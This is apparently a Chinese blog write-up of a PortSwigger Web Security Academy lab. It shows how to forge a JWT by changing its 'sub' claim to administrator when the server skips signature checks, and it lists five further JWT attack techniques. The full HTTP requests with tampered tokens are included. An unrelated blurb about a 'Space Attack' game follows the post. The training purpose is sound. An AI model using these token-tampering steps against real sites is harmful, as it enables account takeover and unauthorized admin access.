6种常见的JWT Attack,绕过网站身份验证 - 1.签名未验证

简介

JWT攻击是使用者向网站发送修改后的JWT,目标是冒充另一个身份的使用者,并绕过身份验证和存取控制。 如果攻击者能够使用任意值创建自己的JWT有效令牌,他们能够升级自己的权限或冒充其他用户,完全控制他们的帐户。

JWT常见攻击手法有以下几种:

  1. 签名未验证
  2. JWT无签名
  3. 爆力破解对称式加密签名
  4. 用kid绕过对称式加密签名
  5. 用JWK绕过非对称式加密签名
  6. 用JKU绕过非对称式加密签名


关于JWT的介绍可参考json web token介绍


1.签名未验证

网站没有验证JWT签名,攻击者可以对JWT内容任意更改
举例如下,当存取admin页面时,返回只有administrator帐户才能使用

################ request ################ 
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...

################ response ################ 
...omit... only allow administrator ...omit...

使用JWT editor可以发现,token中的eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0等于以下

{
    "iss": "portswigger",
    "sub": "wiener",
    "exp": 1656578414
}

透过JWT editor将上述内容改为administrator

{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1656578414
}

此时token里这部份会变成eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9
送出编辑token后的请求,可成功存取admin介面

################ request ################ 
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...

################ response ################ 
...omit...
<section>
<p>User deleted successfully!</p>
	<h1>Users</h1>
	<div>
	<span>wiener - </span>
	<a href="/admin/delete?username=wiener">Delete</a>
...omit...

其他方法可参考

6种常见的JWT attack方法

Web Security Academy



 

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Space Attack游戏是一款经典的射击类游戏,主要使用HTML、CSS和JavaScript技术进行开发。游戏的主要功能包括: 玩家控制一个宇宙飞船,通过键盘上的方向键或者鼠标进行移动。 游戏中会出现各敌人,玩家需要控制飞船进行射击,消灭敌人。 敌人被消灭后,会随机掉落道具,玩家可以通过收集道具来增加生命值或者增加攻击力。 游戏有多个关卡,每个关卡的敌人数量和难度都会逐渐增加。 游戏有计分系统,玩家的得分会根据消灭的敌人数量和收集的道具数量进行计算。 游戏有生命值系统,当玩家的生命值降为0时,游戏结束。 游戏有排行榜系统,玩家可以看到自己在全球玩家中的排名。 在技术方面,主要使用了以下几技术: HTML和CSS用于创建游戏的基本布局和样式。 JavaScript用于实现游戏的交互逻辑,包括玩家的移动、射击、敌人的出现和消失、道具的掉落和收集等。 使用了Canvas API进行游戏画面的绘制,包括玩家的飞船、敌人、道具和背景等。 使用了requestAnimationFrame函数进行动画的更新,使得游戏运行更加流畅。 使用了事件监听器来处理玩家的操作,包括键盘事件和鼠标事件。 使用了随机数生成器来生成敌人的出现位置和道具的掉落位置。 使用了localStorage来存储玩家的得分和排名,使得玩家可以在不同设备上继续游戏。 通过这些技术和功能,Space Attack游戏为玩家提供了一个富有挑战性和趣味性的游戏体验。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值